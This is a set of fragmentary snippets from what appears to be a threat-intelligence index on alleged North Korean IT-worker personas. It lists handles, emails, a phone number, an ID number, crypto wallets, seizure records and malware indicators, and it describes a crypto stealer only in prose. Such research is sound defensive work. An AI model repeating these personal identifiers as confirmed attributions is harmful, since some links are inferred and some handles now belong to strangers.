linkedin.com/in/peter-wang-780259a3 - t.me/pethercap (ID: 2124964775, prev: @baymax586) - 0x74bc47ea5201a61c7c9a366bb62ecae2713602a1 #### Chai Somsri - 2024, 2025, Credbull -…","…![](./1934285777699230194-2.png) #### Dennis DelRosario - github.com/phoenixdevguru - t.me/phoenixdevguru - linkedin.com/in/dennis-delrosario-8ba062222/ - https://x.com/browsercookies/status/1934285777699230194 -…","…{\"id\":\"15d11713e92779ce\",\"type\":\"link\",\"url\":\"https://t.me/pup5ol\",\"x\":4620,\"y\":-2040,\"width\":400,\"height\":400,\"color\":\"4\"},…","…QuinnDuck - letteldream - rustumatizon - letteldream@gmail.com - github.com/rustumatizon • [Archive](https://archive.ph/KLBYw) - t.me/QuinnDuck - https://quinn-lee.netlify.app/ - https://laborx.com/freelancers/users/id126269 - 0xf9adac8658e08893fb4e91c1062e471eb11cb6c7 (T) -…","…hashbirdcho - rango527 - eweubr3289@gmail.com - https://www.linkedin.com/in/andy-cho-6ba380309/ - https://t.me/hashbirdcho - https://t.me/rango527 - 0xD85e7eB377635517eBA5310591F68F4771Da9523 - Payroll - 0x2fa1789b009a05921eb64f10b8f0d30684661d2d - Stolen Funds -…","…SenWebDev1009 - x.com/sether1009 - t.me/sether1009 (ID: 1385798680) • ([Messages](./user-1385798680-@sether1009.txt)) - t.me/sano1009 (ID: 5459321994) • ([Messages](./user-5459321994-@sano1009.txt)) - github.com/astermirac1e •…","…![](./X_2025-11-22_blue32captain.png) ### Santokh Veenasenan - 2022 - santokh.veenasenan@gmail.com - Malaysia - t.me/saveen_master - t.me/whatis12354 - github.com/savvy-bit - 0x17087F92D16049E9097413B4964663B754C1E43d ### Nicolas Chi - 2024 - Hong Kong -…","…Sano - 0xb10ckdev - sether1009 - sano1009 - astermirac1e - 0xdpta - astermiracle1009 - SenWebDev1009 - x.com/sether1009 - t.me/sether1009 (ID: 1385798680) • ([Messages](./user-1385798680-@sether1009.txt)) - t.me/sano1009 (ID: 5459321994) •…","…github.com/talented-blockchain-dev - github.com/squirdev - github.com/pedrodiaz417 - github.com/topsmartpro - t.me/smartdev19961 - t.me/smartdev0205 (ID: 5265691090) • ([Messages](./user-5265691090-@smartdev0205.txt)) - t.me/SmartDevPro (ID: 7659696464) - t.me/trust0205 (ID:…","…github.com/talented-blockchain-dev - github.com/squirdev - github.com/pedrodiaz417 - github.com/topsmartpro - t.me/smartdev19961 - t.me/smartdev0205 (ID: 5265691090) • ([Messages](./user-5265691090-@smartdev0205.txt)) - t.me/SmartDevPro (ID: 7659696464) -…","…github.com/topsmartpro - t.me/smartdev19961 - t.me/smartdev0205 (ID: 5265691090) • ([Messages](./user-5265691090-@smartdev0205.txt)) - t.me/SmartDevPro (ID: 7659696464) - t.me/trust0205 (ID: 5874346391) • ([Messages](./user-5874346391-@trust0205.txt)) - Discord Talented Blockchain#3570 -…","…{\"id\":\"2c291ceee8edfbb1\",\"type\":\"link\",\"url\":\"https://t.me/snipmaxi\",\"x\":2222,\"y\":-3640,\"width\":400,\"height\":400,\"color\":\"4\"},…","…{\"id\":\"374e065feee3b17b\",\"type\":\"text\",\"text\":\"https://t.me/soladify\",\"x\":-1360,\"y\":-670,\"width\":250,\"height\":60,\"color\":\"4\"},…","…2: https://dev.to/btc415 * Also linked to BTC415 used by Mark Limuel Santiago * Bio states, \"Technical Co-founder of TAOI\" * Telegram 1: https://t.me/stevendev0822 * Telegram 2: https://t.me/dodger0213 * Email 1: stevenpiao0822@gmail.com * Email 2: mitsurukudo213@gmail.com * Email 3:…","…Kong - Has First Century Bank + Community Federal Savings Bank - webelf101 - stevenjung - steven.jung86000 - github.com/webelf101 - t.me/stevenjung - steven.jung86000@gmail.com - +1 845 809 1168 - 0x6513cb2f5E59c768a28958FBBDa6e06B9B29B8Eb -…","…{\"id\":\"fb66ac792f838807\",\"type\":\"link\",\"url\":\"https://t.me/stevensprg\",\"x\":4620,\"y\":-420,\"width\":400,\"height\":400},…","…• [Archive](https://web.archive.org/web/20250827055457/https://github.com/DevWebMaster) - savagrujicinnov.wixsite.com/mysite - t.me/SuperDevel0per - topfirepassion@gmail.com - Likely also Anthony Keller -…","…https://x.com/browsercookies/status/1934288397339877730 - ![](./1934288397339877730.png) #### TechWizAI - github.com/TopETH - t.me/supernathanliu (ID: 1677260011) - linkedin.com/in/techwhizai (404) - https://x.com/browsercookies/status/1934290466054553751 -…","Found on 29 September 2026 by searching GitHub's code for the handles this site already holds for the persona (sallamy2580) and reading the files that name them: contact blocks, profile READMEs and portfolio data in the persona's own repositories or in repositories that credit its accounts. Each value is cited to the file it was read from. Values in copied templates, client team pages and test data are not carried.","…![](./1934290466054553751-3.png) #### Kopp Anatoli - x.com/KoppAnatoli - github.com/cinderella941217 - t.me/sweet_heart1217 - linkedin.com/(404) - https://x.com/browsercookies/status/1934290466054553751 - ![](./1934290466054553751-4.png) -…","…hyperlinks out match Steven's profile * Minor changes between the two * https://github.com/top329 * Clear alt of top0329 * Telegram: https://t.me/top_329 * https://github.com/venuswhispers * Profile assets and their hyperlinks out match Steven's and Top329's * Minor changes between the…","…t.me/smartdev0205 (ID: 5265691090) • ([Messages](./user-5265691090-@smartdev0205.txt)) - t.me/SmartDevPro (ID: 7659696464) - t.me/trust0205 (ID: 5874346391) • ([Messages](./user-5874346391-@trust0205.txt)) - Discord Talented Blockchain#3570 - Skype…","…zaza.liveedu@gmail.com - t.me/trust0212 (ID: 5419192978) • ([Messages](./user-5419192978-@trust0212.txt)) - 0x35FcB352027cdDc632b7aE8a50A0410C5bf36248 #### Unknown ITW -…","…![](./nathan-cao-james-lee-2.jpg) #### William Chang - Claimed Hong Kong - https://github.com/wc117 - williamchang89117@gmail.com - t.me/wc117 - https://pythonweekly.substack.com/p/python-weekly-12 - 0x5fE70D0C41a204839c88503261bbFBd59F72a2E3 - ![](./william-chang-1.jpg) -…","…wdev733@gmail.com - devstar.sky20@gmail.com - github.com/cydn95 - 204.44.106.96 - t.me/micry 1012606692 - x.com/adchy2000 - t.me/wdev733 - t.me/dss2000 - 0x8260C20b4CE2014d760bE6dE7CDD98c4f12b68F8 - 0x574eC5a661c3eaA610438C4a249BCFC066c4a579 -…","…https://x.com/browsercookies/status/1934285777699230194 - ![](./1934285777699230194-3.png) #### Hayato Suzuki - t.me/WebTalent0123 (ID: 5131829846) - github.com/FrontEndGod - hayatosuzuki0123@gmail.com - https://x.com/browsercookies/status/1934285777699230194 -…","…![](./X_2025-11-22_blue32captain.png) ### Santokh Veenasenan - 2022 - santokh.veenasenan@gmail.com - Malaysia - t.me/saveen_master - t.me/whatis12354 - github.com/savvy-bit - 0x17087F92D16049E9097413B4964663B754C1E43d ### Nicolas Chi - 2024 - Hong Kong - nic92047@gmail.com -…","…{\"id\":\"83e9e992f2c38f39\",\"type\":\"link\",\"url\":\"https://t.me/whisdev\",\"x\":2220,\"y\":-2040,\"width\":400,\"height\":400},…","…smartpuck111@gmail.com - +6285732172769 - freelancer.com/u/spectrecoder - t.me/zerox_toml (ID: 8098234150 name: Zerox) - t.me/whitecrow0109 (ID: 6735314353 name: Tensor) • ([Messages](./user-6735314353-@whitecrow0109-@zerox_toml-@spectre_coder.txt)) - x.com/MentholMen47387…","…![](./mauro-liu-irl-01.png) - ![](./mauro-liu-irl-02.png) #### Mauro Liu / Danzel Lee / Anthony / xbejaxer - Danzel Lee - Anthony - t.me/xbejaxer (ID: 7302280289) • ([Messages](./user-7302280289-@xbejaxer.txt)) - Claims to have worked at: - BlockApeScissors - Coordinape - Dopex -…","…{\"id\":\"696295deaaeaab60\",\"type\":\"text\",\"text\":\"https://t.me/xMuseNine\",\"x\":2680,\"y\":920,\"width\":250,\"height\":60,\"color\":\"4\"}, {\"id\":\"498ea3322df22f2d\",\"type\":\"text\",\"text\":\"[Initial ReadMe…","…github.com/zhmoly • [Archive](https://archive.ph/7XiAc) - t.me/zzmoly (ID: 1968323567) • ([Messages](./user-1968323567-@zzmoly.txt)) - t.me/zhmolly - zhmolly@proton.me - Fukuoka, Japan - Sadao Elichi Japan MM6842521 - 2c5gD79Um49VmLCx54a89vVL84kFCiWmj82Zyg8QVVWi -…","…github.com/zhmolly • [Archive](https://archive.ph/80EYH) - github.com/zhmoly • [Archive](https://archive.ph/7XiAc) - t.me/zzmoly (ID: 1968323567) • ([Messages](./user-1968323567-@zzmoly.txt)) - t.me/zhmolly - zhmolly@proton.me - Fukuoka, Japan - Sadao Elichi Japan…","…from an individual already identified by Nisos Research as a confirmed DPRK IT worker persona: Naoyuki Tanaka Figure 4c. https://torre.ai/alexander116gm?r=OkFgNF0o 3.2 Naoyuki Tanaka - Nisos Confirmed DPRK IT Worker Nisos Research identified Naoyuki Tanaka as a DPRK IT worker persona…","…ttps://www.linkedin.com/in/brent-jeremy-47172b22a/ https://www.linkedin.com/in/brent-jeremy/ https://www.linkedin.com/in/liguo-ma-060077205 https://torre.ai/brentjeremynel?r=GLXbkZCc https://www.guru.com/freelancers/brent-jeremy https://web3.career/@marcin Personas: Brent Jeremy Marcin Iwanski Liguo…","…https://www.linkedin.com/in/brent-jeremy/ - https://www.linkedin.com/in/liguo-ma-060077205 - https://torre.ai/brentjeremynel?r=GLXbkZCc - https://www.guru.com/freelancers/brent-jeremy - https://web3.career/@marcin #### newstable / Jaycee Tran / Sasuke Uchiha -…","…the alias is active across multiple professional platforms and is being used to seek employment under a Japanese identity Figure 4b. https://torre.ai/phantomdev0302 This profile received a recommendation from an individual already identified by Nisos Research as a confirmed DPRK IT worker persona:…","…charles.leonard.com@gmail.com - David Tanaka / Ninja Dev - realhardworkingdeveloper@gmail.com - davidtanaka3 - trello.com/u/davidtanaka3 - medium.com/@realhardworkingdeveloper -…","…Gordon persona - springdev216 - esoh0612 - ericsoh10 - esoh0612@gmail.com - github.com/springdev216 - freelancer.com/u/esoh0612 - trello.com/u/ericsoh10 - medium.com/@esoh0612 #### John Wilhelmson / zhmolly - 2021 - Shows up all over zhmolly handles - John Wilhelmsson - JeyHop -…","A GitHub noreply address is minted from the account's immutable numeric id, in the form id+handle@users.noreply.github.com, and the handle in it is whatever the account was called when the commit was made. Walking the commit history of the accounts this index already holds therefore recovers their previous names as a matter of record rather than as an inference: the same numeric id under two handles is one account, and GitHub's own API resolves an id to whatever that account is called today.\n\nThirty-two of the walked accounts turned out to have been renamed at least once, yielding 51 former handles. Every one of the thirty-two numeric ids resolves to an account this index already holds, so nothing here names a new account; what it adds is the earlier names, which is what a search of older reporting would turn up. The mapping, current name first: accompany1205 was prince2115, graeme2115; admin-0123 was nicolas-95, achiever0123; AMagicHarry was besthonestman; apollo0102 was peterjiro; attractiveDev was phoenix10221004; bitcrusher1023 was shinystar-0314; blockbusterdev was devtwinkler, softvoyager, talenteddev36428; CleverSofter was miss0702; codomposer was gitakileus; coinyx was cryptobunny0x, techtrust0x0, trust023, techtruth1; cryptostar7 was lucaslee129, harbon486; DreamHigh0806 was ssguardheaker; dtorres314 was trustme000777, whimsyrover; eros1006 was dedicatedsoftwaredev, fredericrowe; erosyj was xfika, greengarden510; euri21 was solution888; h918m was topdev707; icetrust0212 was trust0212, sergey0142; jusdy was dylandev125, pauleta0126; kstar0102 was wangjin0102; prodev90 was prodev1991715; resplegend was trust0212-fantohm; smartgeek1003 was olderdev523, olderdev1003; SoftwarePassioner was care823; starmastar1126 was ministar1126; Stenor5 was luckydev0515, stenor0515; Talented0Dev was createnewhistory; Talentedtopcoder was topcoderben, benjaminstewart123; top-dev-999 was vitaliy-egorov; wenMoonx was yucob; whisdev was ptcbink, ptc-bink, sakele1026.\n\nSeven of these former handles are already published in this index as separate github_profile indicators, recorded before the rename was known: trust0212, trust0212-fantohm, dylandev125, xfika, greengarden510, gitakileus and olderdev523. All seven now return 404, and all seven are the same accounts as icetrust0212, resplegend, jusdy, erosyj, erosyj, codomposer and smartgeek1003 respectively, which this index also holds. They are kept rather than removed, because a dead handle is still the right thing to find in a report written while it was live, but a reader should not count them as separate accounts.\n\nThese are recorded as usernames rather than as profile URLs on purpose. 49 of the 51 are unregistered today, and an unregistered handle can be taken by anyone, at which point a published URL would point at a stranger. That is not hypothetical here: yamamotojiro, formerly DreamHigh0806, and fancydeveloper, formerly BitFancy, have both been re-registered by unrelated accounts under different numeric ids. Neither is published as a value in this entry for that reason, and neither should be treated as an indicator of anything.\n\nRead on 20 September 2026 by resolving every numeric id found in the noreply addresses captured by the commit walk of 19 September. No persona is attached: these are earlier names for accounts already filed, and recovering a name supplies no attribution the index did not already have.","Poster names visible in screenshots from Hayden McKenzie's third report, which documents a gig board where DPRK-linked posters openly sought U.S. laptop hosts and LinkedIn profile searchers: Steve (tag ONLK), offering $500 to set up a laptop in Texas; Azure Phoenix, paying per matching LinkedIn profile; and Li_dani, seeking a U.S. person to receive and host a company laptop. Display names on one board only.","…Digital Currency Address - ETH 0x0330070FD38Ec3bB94F58FA55D40368271E9e54A; alt.…","…cryptocurrency addresses designated today across the Ethereum and Tron networks. Ethereum: 0xcB74874f1e06Fcf80A306e06e5379A44B488bA2D 0x0330070FD38Ec3bB94F58FA55D40368271E9e54A 0x9Be599d7867f5E1a2D7Ec6dB9710dF2b98A15573 Tron:…","…(“ Defendant Property 22 ”) 0x97BeCBB90ff30513e7984e3bdcE4863d03d59FC4 (“ Defendant Property 23 ”) 0x05C8A416aE8dB42B737a15c4C3FF5F5beF051FEf (“ Defendant Property 24 ”) 4 The remaining assets —which are not the subject of this Complaint for Forfeiture in rem —were…","…- Seized Mar 28 2022 (22-sz-6) Kuma Inu Airdrop Receiver, Sends to Gate 0x90ba7da18600639e5ef6ac9679eb824bb2f73782 - 0x0a9afe0b6e04fd212ad7547e9798e0a7ca2ee370 - Seized Mar 28 2022 (22-sz-6) Kuma Inu Airdrop Receiver - 0x1690c80f392a8ba83e2f755b1e53dd4503738698 - Seized Mar 28 2022 (22-sz-6)…","…- 1 Hop from Vitaliy - $70k Dec 2024 - 0xe42e3086910496606e0f43916c7725bb47ddbcee - Bunzz's DPRK IT Worker (2025) - 0x146ab113a6d69033cccdb4eaae61c496c2faaf05 - Bunzz's DPRK IT Worker (2025) - 0xcdd3429318a51b0094db7a172ea356cfd2ae06b3 - Bunzz's DPRK IT Worker (2025) -…","…USDT that was voluntarily frozen by Tether on or about April 1, 2023, in unhosted virtual currency addresses 0x15824de78A61a8B493CCd8A48e58463536B17028, 0x6E2F0deAB1C358547b353342524489e32640D530, 0x3E24F610639e105173003EF1c47dC4DbAa33f8D7, and 0x1c097e02bCd6cD69946663ace4bc0B115e256bAc.…","…- Hyon Sop Sim, Frozen Tether Mar 6 2023 - 0x5707aa6944e357cea1a25ff991fb3a2e60268ab5 - Hyon Sop Sim, Frozen Tether Mar 6 2023 - 0x15824de78A61a8B493CCd8A48e58463536B17028 - Frozen Tether Mar 31 2023, Consolidation - 0x6E2F0deAB1C358547b353342524489e32640D530 - Frozen Tether Mar 31 2023, Consolidation -…","…0x0a9afe0b6e04fd212ad7547e9798e0a7ca2ee370 - Seized Mar 28 2022 (22-sz-6) Kuma Inu Airdrop Receiver - 0x1690c80f392a8ba83e2f755b1e53dd4503738698 - Seized Mar 28 2022 (22-sz-6) dontsmile.eth, Kuma Inu Airdrop Receiver - 0x5a297599c4bd1c3ef00b277f8a7369cb5b9bd157 - Seized Mar 28 2022…","…0x6E2F0deAB1C358547b353342524489e32640D530, 0x3E24F610639e105173003EF1c47dC4DbAa33f8D7, and 0x1c097e02bCd6cD69946663ace4bc0B115e256bAc.…","…- Frozen Tether Mar 31 2023, Consolidation - 0x3E24F610639e105173003EF1c47dC4DbAa33f8D7 - Frozen Tether Mar 31 2023, Consolidation - 0x1c097e02bCd6cD69946663ace4bc0B115e256bAc - Frozen Tether Mar 31 2023, Consolidation ## Additional Information / Research - 0xdc421b1ee121dd8cc7f3a4fab9d1a4d000a5d67c - Govt…","…Base64-encoded payload. After decoding it, we can see the crypto stealer logic, with the threat actor’s ETH crypto address inside: 0x1eef0849eda15d87f64e51c73c8442cf3c8bcef3 It uses the “node -i” command to run everything inside the memory, indicating fileless execution which avoids detection. The…","…- Bunzz's DPRK IT Worker (2025) - 0xcdd3429318a51b0094db7a172ea356cfd2ae06b3 - Bunzz's DPRK IT Worker (2025) - 0x1febc069606abfba5d021ed3768cb5d90c9407d5 - Jannik Villostas / 0xtomoon / janbuidls - 0x6f24bebcbfa23b7ee32894355ecbdbc24b520d9e - Jannik Villostas / 0xtomoon / janbuidls -…","…EVASION CONSPIRACIES - https://www.justice.gov/usao-dc/media/1402691/dl - 1:25-cv-01769 #### Addresses in the Forfeiture Action - 0x21a2cf2b1e84d9e9a38389f797f6087d94ed3d86 - Seized Jun 08 2022 (22-sz-13) halfmooneye.eth - 0xa184f953376a3c76a72a37849591ac6d8e148083 - Seized Jun 08 2022 (22-sz-13) -…","…- Seized Mar 28 2022 (22-sz-6) Kuma, Bone - 0x6a643519520b875bd9ce7e882c218a6e38d8dc41 - Seized Mar 28 2022 (22-sz-6) 0xJun, jun.eth - 0x294662cca316061a5942c7be3191b96318606781 - Seized Mar 28 2022 (22-sz-6) - 0xd4004f07d7b746103f2d9b4e5b5a540864526bec - Seized Mar 28 2022 (22-sz-6) 0xcno.eth, Kuma Inu Airdrop…","…0x29bDfbf7D27462a2d115748ace2bd71A2646946c 0x52b4567c37b48d51198b25caa6e79e4fda6d9734 0x9149C1552e663AF9f1b6584857715a39a520a889 0xA88800CD213dA5Ae406ce248380802BD53b47647 0xBD612a3f…","…- Frozen Tether Aug 30 2022 Seized (22-sz-19) - 0x511b9ed0b7ef9dfad519f398fdfbdf6af8356780 - Lu Huaying (OTC 1) - 0x2ad9790b5116ce19b9cc59C7982A64dF0FeA84bc - OTC 2 - 0x4F47Bc496083C727c5fbe3CE9CDf2B0f6496270c - Hyon Sop Sim, Frozen Tether Mar 6 2023 -…","…- Seized Mar 28 2022 (22-sz-6) - 0x50e7f5d0f2ba91e002c7094d844d3a8ff187e204 - Seized Mar 28 2022 (22-sz-6) elonamusk - 0x3269c4c05356e511bc447da5c722e63f682243c9 - Seized Mar 28 2022 (22-sz-6) sl4rk.eth - 0x53c64ec686f8235954d1df08cd975c337a8f24b2 - Seized Mar 28 2022 (22-sz-6) -…","…• 0x21A2CF2b1E84d9E9a38389F797F6087d94Ed3d86 • 0xf7bC1F442d436AFe5754b565bff030c281c9Aa90 • 0x3709d736F2615aE8e2f429e63aA3e1494b353D94 • 0xA184f953376A3c76A72A37849591ac6D8e148083 • 0xF17Cd87f477acE0BBb6Fe452bB50619c42AB4D97 •…","…- Seized Jun 08 2022 (22-sz-13) - 0xf17cd87f477ace0bbb6fe452bb50619c42ab4d97 - Seized Jun 08 2022 (22-sz-13) arthlino - 0x3709d736f2615ae8e2f429e63aa3e1494b353d94 - Seized Jun 08 2022 (22-sz-13) animealine - 0xa7d2cf62487aa87ddba211d1e8dc7259be2a9a70 - Seized Mar 28 2022 (22-sz-6) -…","…based Centralised Cryptocurrency Exchange services, as well as other large international services. Crystal Intelligence Platform 0x37648d37BbB103e0cFD1cBe399B3f46b3E6b3a0f - sent funds to malware transaction address; active on multiple chains.…","…, the gas funding address for the initial pointer addresses via bridges. Crystal Intelligence Platform 0x3aCa68A063f9ab2CFcc9732554190199F9b09f7B sent funds to BSC malware transaction address, recieved from 0xb351954037bd1c38d7677db7fe429706c7b016da . RAT Timeline Using the same…","…2023, in unhosted virtual currency addresses 0x15824de78A61a8B493CCd8A48e58463536B17028, 0x6E2F0deAB1C358547b353342524489e32640D530, 0x3E24F610639e105173003EF1c47dC4DbAa33f8D7, and 0x1c097e02bCd6cD69946663ace4bc0B115e256bAc.…","…- Frozen Tether Mar 31 2023, Consolidation - 0x6E2F0deAB1C358547b353342524489e32640D530 - Frozen Tether Mar 31 2023, Consolidation - 0x3E24F610639e105173003EF1c47dC4DbAa33f8D7 - Frozen Tether Mar 31 2023, Consolidation - 0x1c097e02bCd6cD69946663ace4bc0B115e256bAc - Frozen Tether Mar 31 2023, Consolidation ##…","…github.com/0xdpta - 0x85e0504fcd7981baa68774431099c5e2dcf074dd - 0x6188a9e76794e7cb337b8e5a2b91808ce34fc6d1 - 0x44A33a4a822194d3C8402629932dd88B0FF49b09 CryptoUnity Deployer - 0xe6c2d1d7f6ee9e4ee9f8b865d9b5931c06c9c7d1 os:murano1205 - 0xca3b78831a101a6d6d0a153653483e3c9a90948f -…","…• 0x44A9DaC239201DeF01B55dC8122cE1Dc8BD55C72 • 0x864C8ef839DD3859820BC6BcE450Aee43F938178 • 0x21A2CF2b1E84d9E9a38389F797F6087d94Ed3d86 •…","…- Seized Jun 08 2022 (22-sz-13) vhurryharry.eth - 0x7492fbbb52e58a0c3e1315f9b77a6b24e6414835 - Seized Jun 08 2022 (22-sz-13) - 0x44a9dac239201def01b55dc8122ce1dc8bd55c72 - Seized Jun 08 2022 (22-sz-13) injoker.eth - 0x864c8ef839dd3859820bc6bce450aee43f938178 - Seized Jun 08 2022 (22-sz-13) -…","…x.com/nonfungiblejc - jenson.collins@hotmail.com - github.com/JCollinsX - https://dune.com/nfbigjc = Ender + TokenFi + Floki - 0x44c2ab7db5299e008c586d52e9b6b193e4173471 (nonfungiblejc.eth) - 0xaa166aa0b46fb42fdaafb7ac351a00186d684837 - 0xb402b45dde5e15ce93809404c104c2fc4918c88c -…","…USDT that was voluntarily frozen by Tether on or about March 6, 2023, in unhosted virtual currency address 0x4F47Bc496083C727c5fbe3CE9CDf2B0f6496270c.…","…(22-sz-19) - 0x511b9ed0b7ef9dfad519f398fdfbdf6af8356780 - Lu Huaying (OTC 1) - 0x2ad9790b5116ce19b9cc59C7982A64dF0FeA84bc - OTC 2 - 0x4F47Bc496083C727c5fbe3CE9CDf2B0f6496270c - Hyon Sop Sim, Frozen Tether Mar 6 2023 - 0xb389b4b4a8a6e267ca0712321cdca5c856ef8a72 - Hyon Sop Sim, Frozen Tether Mar 6 2023 -…","…Dandong, China; DOB 25 Nov 1983; POB Pyongyang, North Korea; nationality Korea, North; Gender Male; Digital Currency Address - ETH 0x4f47bc496083c727c5fbe3ce9cdf2b0f6496270c; Secondary sanctions risk: North Korea Sanctions Regulations, sections 510.201 and 510.210; Transactions Prohibited For Persons Owned or…","…- Seized Mar 28 2022 (22-sz-6) 0xninjadev.eth - 0x7066d17c140a64e770c7286def08c611a9cc78d4 - Seized Mar 28 2022 (22-sz-6) - 0x50e7f5d0f2ba91e002c7094d844d3a8ff187e204 - Seized Mar 28 2022 (22-sz-6) elonamusk - 0x3269c4c05356e511bc447da5c722e63f682243c9 - Seized Mar 28 2022 (22-sz-6) sl4rk.eth -…","…- Frozen Tether Aug 30 2022 (22-sz-19) - 0x815F335f976301f496167bfeF237f0622F92ac38 - Frozen Tether Aug 30 2022 Seized (22-sz-19) - 0x511b9ed0b7ef9dfad519f398fdfbdf6af8356780 - Lu Huaying (OTC 1) - 0x2ad9790b5116ce19b9cc59C7982A64dF0FeA84bc - OTC 2 - 0x4F47Bc496083C727c5fbe3CE9CDf2B0f6496270c - Hyon Sop Sim,…","…0x29bDfbf7D27462a2d115748ace2bd71A2646946c 0x52b4567c37b48d51198b25caa6e79e4fda6d9734 0x9149C1552e663AF9f1b6584857715a39a520a889 0xA88800CD213dA5Ae406ce248380802BD53b47647 0xBD612a3f30dcA67bF60a39Fd0D35e39B7aB80774 0xb0e5e8c2…","…• 0x67624c4C72B8989143510f9Ac09A58007bf79676 • 0xdd344126c52478E8e1e7aad583E2332567Afd730 • 0x53C64EC686F8235954d1dF08cD975C337A8f24B2 • 0xa09a934BA4440CFCbD0C2937a263351926919565 • 0xf3F2e9391b440526D538E904C0252421eeB4B61C 2.…","…- Seized Mar 28 2022 (22-sz-6) elonamusk - 0x3269c4c05356e511bc447da5c722e63f682243c9 - Seized Mar 28 2022 (22-sz-6) sl4rk.eth - 0x53c64ec686f8235954d1df08cd975c337a8f24b2 - Seized Mar 28 2022 (22-sz-6) - 0xfe035df35c6fe5578ede6267883638db7634de82 - Seized Mar 28 2022 (22-sz-6) zdao1.eth -…","…USDT that was voluntarily frozen by Tether on or about March 6, 2023, in unhosted virtual currency addresses 0x5707aA6944E357cEa1A25Ff991fB3A2E60268AB5 and 0xB389B4B4a8a6E267CA0712321cdca5c856ef8A72.…","…- Hyon Sop Sim, Frozen Tether Mar 6 2023 - 0xb389b4b4a8a6e267ca0712321cdca5c856ef8a72 - Hyon Sop Sim, Frozen Tether Mar 6 2023 - 0x5707aa6944e357cea1a25ff991fb3a2e60268ab5 - Hyon Sop Sim, Frozen Tether Mar 6 2023 - 0x15824de78A61a8B493CCd8A48e58463536B17028 - Frozen Tether Mar 31 2023, Consolidation -…","…Consolidation Wallets ZachXBT reports that all above identities and payment addresses lead to two known consolidation wallets : 0x58225fed0714e5b9b235642eba7dae3714090a2d 0xa7f9555c34626eb81b64774356a40ca1a6a794ca These wallets serve as hubs in laundering pathways, taking in payments from U.S.…","…Receiver - 0x1690c80f392a8ba83e2f755b1e53dd4503738698 - Seized Mar 28 2022 (22-sz-6) dontsmile.eth, Kuma Inu Airdrop Receiver - 0x5a297599c4bd1c3ef00b277f8a7369cb5b9bd157 - Seized Mar 28 2022 (22-sz-6) Kuma, Bone - 0x6a643519520b875bd9ce7e882c218a6e38d8dc41 - Seized Mar 28 2022 (22-sz-6) 0xJun, jun.eth -…","…- Company Paying Payroll - 0x68d283c978f08544ce9fa9e563186945663de7b1 - Company Paying Payroll - 0x5d0c3f3428ce9a45167dd6ad66e80551e0ba85b8 - Company Paying Payroll - 0x6c7137b2af2515e57677267062bd53c12c15a410 - Company Paying Payroll -…","…Signer - 0xCdFe7F0C70A59FC3c67500b16E8E6b4c2a6A6dE3 Signer - 0xC026609D721C65CDd4EB10F93518f738F52d9e16 Signer + DPRK ITW - 0x601936c35fb4c6d8b472de6764c9f09ebf17711c - Company Paying Payroll - 0x68d283c978f08544ce9fa9e563186945663de7b1 - Company Paying Payroll -…","…https://www.ketman.org/dprk-it-workers-github-organizations.html - https://etherscan.io/token/0x634e6cd45c38f84c5f362609e821d4b18612e9a2?a=0x7473a47da05403313789c43464608552402a888e - x.com/0xMuse9 - x.com/0xnightfly github.com/0xnightfly - x.com/0xopsdev github.com/0xopsdev…","…On November 19, 2024, at 10:23 UTC, the NKAs converted and transferred 300,000 USDT from wallet 0xb0655c to wallet 0x66b37234b9cf5a7fbbda45076e70164962dc7c8d ( “ Defendant Property” ) in transaction hash 0x230f3932940d0c49200875f517d8cf6a16b283ecb87af58e4e03ea9b9734f254.…","…- Seized Mar 28 2022 (22-sz-6) - 0xfe035df35c6fe5578ede6267883638db7634de82 - Seized Mar 28 2022 (22-sz-6) zdao1.eth - 0x67624c4c72b8989143510f9ac09a58007bf79676 - Seized Mar 28 2022 (22-sz-6) - 0xdd344126c52478e8e1e7aad583e2332567afd730 - Seized Mar 28 2022 (22-sz-6) -…","…2026-10-19T10:22:59Z nonce 608 to 0x67B38e9b67B38E9b68656c6C6f6970626f742121 67.B3.8E.9B = 103.179.142.155, twice, then \"helloipbot!!\" The careers site is not standing in front of the malware.…","…- 0xC026609D721C65CDd4EB10F93518f738F52d9e16 Signer + DPRK ITW - 0x601936c35fb4c6d8b472de6764c9f09ebf17711c - Company Paying Payroll - 0x68d283c978f08544ce9fa9e563186945663de7b1 - Company Paying Payroll - 0x5d0c3f3428ce9a45167dd6ad66e80551e0ba85b8 - Company Paying Payroll -…","…dontsmile.eth, Kuma Inu Airdrop Receiver - 0x5a297599c4bd1c3ef00b277f8a7369cb5b9bd157 - Seized Mar 28 2022 (22-sz-6) Kuma, Bone - 0x6a643519520b875bd9ce7e882c218a6e38d8dc41 - Seized Mar 28 2022 (22-sz-6) 0xJun, jun.eth - 0x294662cca316061a5942c7be3191b96318606781 - Seized Mar 28 2022 (22-sz-6) -…","…form of misdirection, or even an unknown Capture the Flag (CTF) using the same infrastructure as the threat actor. This was related to 0x6bEf55A0BB4bFF96f947eb1f87E9a59031BB1686 which was connected to our original 0x000000000000000000000000000000000000dEaD addresses. Similar transactions were also observed on…","…- Company Paying Payroll - 0x5d0c3f3428ce9a45167dd6ad66e80551e0ba85b8 - Company Paying Payroll - 0x6c7137b2af2515e57677267062bd53c12c15a410 - Company Paying Payroll - 0x6138a5055759c29b249ea1189a4dd68a1eeb8705 - Unknown ITW - 2024-05-16 $636 -…","…- Seized Mar 28 2022 (22-sz-6) - 0xdd344126c52478e8e1e7aad583e2332567afd730 - Seized Mar 28 2022 (22-sz-6) - 0x6c90b98b8c5c41d615300b9ed774f85b29078ca2 - Seized Mar 28 2022 (22-sz-6) ifeel.eth, Kuma Inu Airdrop Receiver - 0xa6ee3542b6ab3115be7e6445268161e0293ed7cf - Seized Mar 28 2022…","…frozen by Tether on or about April 1, 2023, in unhosted virtual currency addresses 0x15824de78A61a8B493CCd8A48e58463536B17028, 0x6E2F0deAB1C358547b353342524489e32640D530, 0x3E24F610639e105173003EF1c47dC4DbAa33f8D7, and 0x1c097e02bCd6cD69946663ace4bc0B115e256bAc.…","…- Hyon Sop Sim, Frozen Tether Mar 6 2023 - 0x15824de78A61a8B493CCd8A48e58463536B17028 - Frozen Tether Mar 31 2023, Consolidation - 0x6E2F0deAB1C358547b353342524489e32640D530 - Frozen Tether Mar 31 2023, Consolidation - 0x3E24F610639e105173003EF1c47dC4DbAa33f8D7 - Frozen Tether Mar 31 2023, Consolidation -…","…- Bunzz's DPRK IT Worker (2025) - 0x1febc069606abfba5d021ed3768cb5d90c9407d5 - Jannik Villostas / 0xtomoon / janbuidls - 0x6f24bebcbfa23b7ee32894355ecbdbc24b520d9e - Jannik Villostas / 0xtomoon / janbuidls - 0xfb446394f4b55ffcfe1867cdbdbfe306c03b7dbb - melonman913 -…","…- Seized 